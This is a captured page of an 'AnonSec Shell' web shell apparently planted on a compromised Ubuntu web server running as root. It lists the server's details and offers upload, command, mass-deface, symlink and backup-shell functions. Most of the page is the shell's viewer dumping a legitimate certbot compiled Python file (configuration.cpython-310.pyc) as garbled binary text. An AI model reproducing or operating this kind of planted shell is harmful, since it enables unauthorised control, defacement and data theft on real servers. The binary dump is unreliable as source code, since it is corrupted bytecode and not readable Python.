AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/certbot/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/certbot/__pycache__/configuration.cpython-310.pyc
o

6��a�(�@s�dZddlZddlmZddlmZddlmZddlmZddlm	Z	ddl
mZdd	lm
Z
dd
lmZGdd�d�Zd
d�ZdS)z$Certbot user-supplied configuration.�N)�List)�Optional)�parse)�errors)�util)�	constants)�misc)�osc@sfeZdZdZdd�Zdd�Zdd�Zedefd	d
��Z	ede
efdd��Zedefd
d��Z
e
jdeddfdd��Z
edefdd��Zejdeddfdd��Zedefdd��Zejdeddfdd��Zedefdd��Zedefdd��Zedefdd��Zed d!��Zed"d#��Zed$d%��Zed&d'��Zed(d)��Zed*d+��Zedefd,d-��Zedefd.d/��Zedefd0d1��Zedefd2d3��Zedeefd4d5��Z edefd6d7��Z!edefd8d9��Z"edefd:d;��Z#ede
efd<d=��Z$ed>d?��Z%d@dA�Z&edBdC��Z'edDdE��Z(edFdG��Z)edHdI��Z*edJdK��Z+edLdM��Z,edNdO��Z-dPdQ�Z.dS)R�NamespaceConfiga4Configuration wrapper around :class:`argparse.Namespace`.

    Please note that the following attributes are dynamically resolved using
    :attr:`~certbot.configuration.NamespaceConfig.work_dir` and relative
    paths defined in :py:mod:`certbot._internal.constants`:

      - `accounts_dir`
      - `csr_dir`
      - `in_progress_dir`
      - `key_dir`
      - `temp_checkpoint_dir`

    And the following paths are dynamically resolved using
    :attr:`~certbot.configuration.NamespaceConfig.config_dir` and relative
    paths defined in :py:mod:`certbot._internal.constants`:

      - `default_archive_dir`
      - `live_dir`
      - `renewal_configs_dir`

    :ivar namespace: Namespace typically produced by
        :meth:`argparse.ArgumentParser.parse_args`.
    :type namespace: :class:`argparse.Namespace`

    cCsVt�|d|�tj�|jj�|j_tj�|jj�|j_tj�|jj�|j_t	|�dS)N�	namespace)
�object�__setattr__r	�path�abspathr�
config_dir�work_dir�logs_dir�_check_config_sanity)�selfr�r�7/usr/lib/python3/dist-packages/certbot/configuration.py�__init__)s
zNamespaceConfig.__init__cCst|j|�S�N)�getattrr)r�namerrr�__getattr__5szNamespaceConfig.__getattr__cCst|j||�dSr)�setattrr)rr�valuerrrr
8szNamespaceConfig.__setattr__�returncC�|jjS)zACME Directory Resource URI.)r�server�rrrrr ;�zNamespaceConfig.servercCr)z�Email used for registration and recovery contact.

        Use comma to register multiple emails,
        ex: u1@example.com,u2@example.com. (default: Ask).
        )r�emailr!rrrr#@�zNamespaceConfig.emailcCr)zSize of the RSA key.�r�rsa_key_sizer!rrrr&Ir"zNamespaceConfig.rsa_key_size�ksizeNcC�||j_dS)zSet the rsa_key_size propertyNr%)rr'rrrr&N�cCr)z`The SECG elliptic curve name to use.

        Please see RFC 8446 for supported values.
        �r�elliptic_curver!rrrr+S�zNamespaceConfig.elliptic_curve�ecurvecCr()zSet the elliptic_curve propertyNr*)rr-rrrr+[r)cCr)zhType of generated private key.

        Only *ONE* per invocation can be provided at this time.
        �r�key_typer!rrrr/`r,zNamespaceConfig.key_type�ktypecCr()zSet the key_type propertyNr.)rr0rrrr/hr)cCr)z�Adds the OCSP Must Staple extension to the certificate.

        Autoconfigures OCSP Stapling for supported setups
        (Apache version >= 2.3.3 ).
        )r�must_stapler!rrrr1mr$zNamespaceConfig.must_staplecCr)zConfiguration directory.)rrr!rrrrvr"zNamespaceConfig.config_dircCr)zWorking directory.)rrr!rrrr{r"zNamespaceConfig.work_dircCs|�|j�S)z2Directory where all account information is stored.)�accounts_dir_for_server_path�server_pathr!rrr�accounts_dir�r)zNamespaceConfig.accounts_dircC�tj�|jjtj�S)z Configuration backups directory.)r	r�joinrrr�
BACKUP_DIRr!rrr�
backup_dir��zNamespaceConfig.backup_dircCr5)zBDirectory where new Certificate Signing Requests (CSRs) are saved.)r	rr6rrr�CSR_DIRr!rrr�csr_dir�r9zNamespaceConfig.csr_dircCr5)z:Directory used before a permanent checkpoint is finalized.)r	rr6rrr�IN_PROGRESS_DIRr!rrr�in_progress_dir�r9zNamespaceConfig.in_progress_dircCr5)z
Keys storage.)r	rr6rrr�KEY_DIRr!rrr�key_dir�r9zNamespaceConfig.key_dircCr5)zTemporary checkpoint directory.)r	rr6rrr�TEMP_CHECKPOINT_DIRr!rrr�temp_checkpoint_dir�s
�z#NamespaceConfig.temp_checkpoint_dircCr)z6Disable verification of the ACME server's certificate.)r�
no_verify_sslr!rrrrB�r"zNamespaceConfig.no_verify_sslcCr)z�Port used in the http-01 challenge.

        This only affects the port Certbot listens on.
        A conforming ACME server will still attempt to connect on port 80.
        )r�http01_portr!rrrrC�r$zNamespaceConfig.http01_portcCr)z;The address the server listens to during http-01 challenge.)r�http01_addressr!rrrrD�r"zNamespaceConfig.http01_addresscCr)z�Port used to serve HTTPS.

        This affects which port Nginx will listen on after a LE certificate
        is installed.
        )r�
https_portr!rrrrE�r$zNamespaceConfig.https_portcCr)zuList of user specified preferred challenges.

        Sorted with the most preferred challenge listed first.
        )r�pref_challsr!rrrrF�r,zNamespaceConfig.pref_challscCr)a�Allow only a subset of names to be authorized to perform validations.

        When performing domain validation, do not consider it a failure
        if authorizations can not be obtained for a strict subset of
        the requested domains. This may be useful for allowing renewals for
        multiple domains to succeed even if some domains no longer point
        at this system.
        )r�allow_subset_of_namesr!rrrrG�s
z%NamespaceConfig.allow_subset_of_namescCr)z�Enable strict permissions checks.

        Require that all configuration files are owned by the current
        user; only needed if your config is somewhere unsafe like /tmp/.
        )r�strict_permissionsr!rrrrH�r$z"NamespaceConfig.strict_permissionscCr)z�Disable renewal updates.

        If updates provided by installer enhancements when Certbot is being run
        with "renew" verb should be disabled.
        )r�disable_renew_updatesr!rrrrI�r$z%NamespaceConfig.disable_renew_updatescCr)z�Set the preferred certificate chain.

        If the CA offers multiple certificate chains, prefer the chain whose
        topmost certificate was issued from this Subject Common Name.
        If no match, the default offered chain will be used.
        )r�preferred_chainr!rrrrJ�szNamespaceConfig.preferred_chaincCs&t�|jj�}|j|j�dtjj�S)zFile path based on ``server``.�/)	r�urlparserr �netlocr�replacer	�sep)r�parsedrrrr3�szNamespaceConfig.server_pathcCs t�|�}tj�|jjtj|�S)z/Path to accounts directory based on server_path)	r�.underscores_for_unsupported_characters_in_pathr	rr6rrr�ACCOUNTS_DIR)rr3rrrr2�s
�z,NamespaceConfig.accounts_dir_for_server_pathcCr5r)r	rr6rrr�ARCHIVE_DIRr!rrr�default_archive_dir��z#NamespaceConfig.default_archive_dircCr5r)r	rr6rrr�LIVE_DIRr!rrr�live_dir�rUzNamespaceConfig.live_dircCr5r)r	rr6rrr�RENEWAL_CONFIGS_DIRr!rrr�renewal_configs_dir�s
�z#NamespaceConfig.renewal_configs_dircCr5)z>Path to directory with hooks to run with the renew subcommand.)r	rr6rrr�RENEWAL_HOOKS_DIRr!rrr�renewal_hooks_dirs�z!NamespaceConfig.renewal_hooks_dircC�tj�|jtj�S)z8Path to the pre-hook directory for the renew subcommand.)r	rr6r[r�RENEWAL_PRE_HOOKS_DIRr!rrr�renewal_pre_hooks_dir
�
�z%NamespaceConfig.renewal_pre_hooks_dircCr\)z;Path to the deploy-hook directory for the renew subcommand.)r	rr6r[r�RENEWAL_DEPLOY_HOOKS_DIRr!rrr�renewal_deploy_hooks_dirr_z(NamespaceConfig.renewal_deploy_hooks_dircCr\)z9Path to the post-hook directory for the renew subcommand.)r	rr6r[r�RENEWAL_POST_HOOKS_DIRr!rrr�renewal_post_hooks_dirr_z&NamespaceConfig.renewal_post_hooks_dircCst�|j�}t|�|�Sr)�copy�deepcopyr�type)r�_memo�new_nsrrr�__deepcopy__szNamespaceConfig.__deepcopy__)/�__name__�
__module__�__qualname__�__doc__rrr
�property�strr rr#�intr&�setterr+r/�boolr1rrr4r8r;r=r?rArBrCrDrErrFrGrHrIrJr3r2rTrWrYr[r^rarcrirrrrr
s�





	







r
cCsJ|j|jkrt�d�|j���|jjdur!|jjD]	}t�|�qdSdS)z�Validate command line options and display error message if
    requirements are not met.

    :param config: NamespaceConfig instance holding user configuration
    :type args: :class:`certbot.configuration.NamespaceConfig`

    z;Trying to run http-01 and https-port on the same port ({0})N)	rCrEr�ConfigurationError�formatr�domainsr�enforce_domain_sanity)�config�domainrrrr%s	��r)rmrd�typingrr�urllibr�certbotrr�certbot._internalr�certbot.compatrr	r
rrrrr�<module>s

Anon7 - 2022
AnonSec Team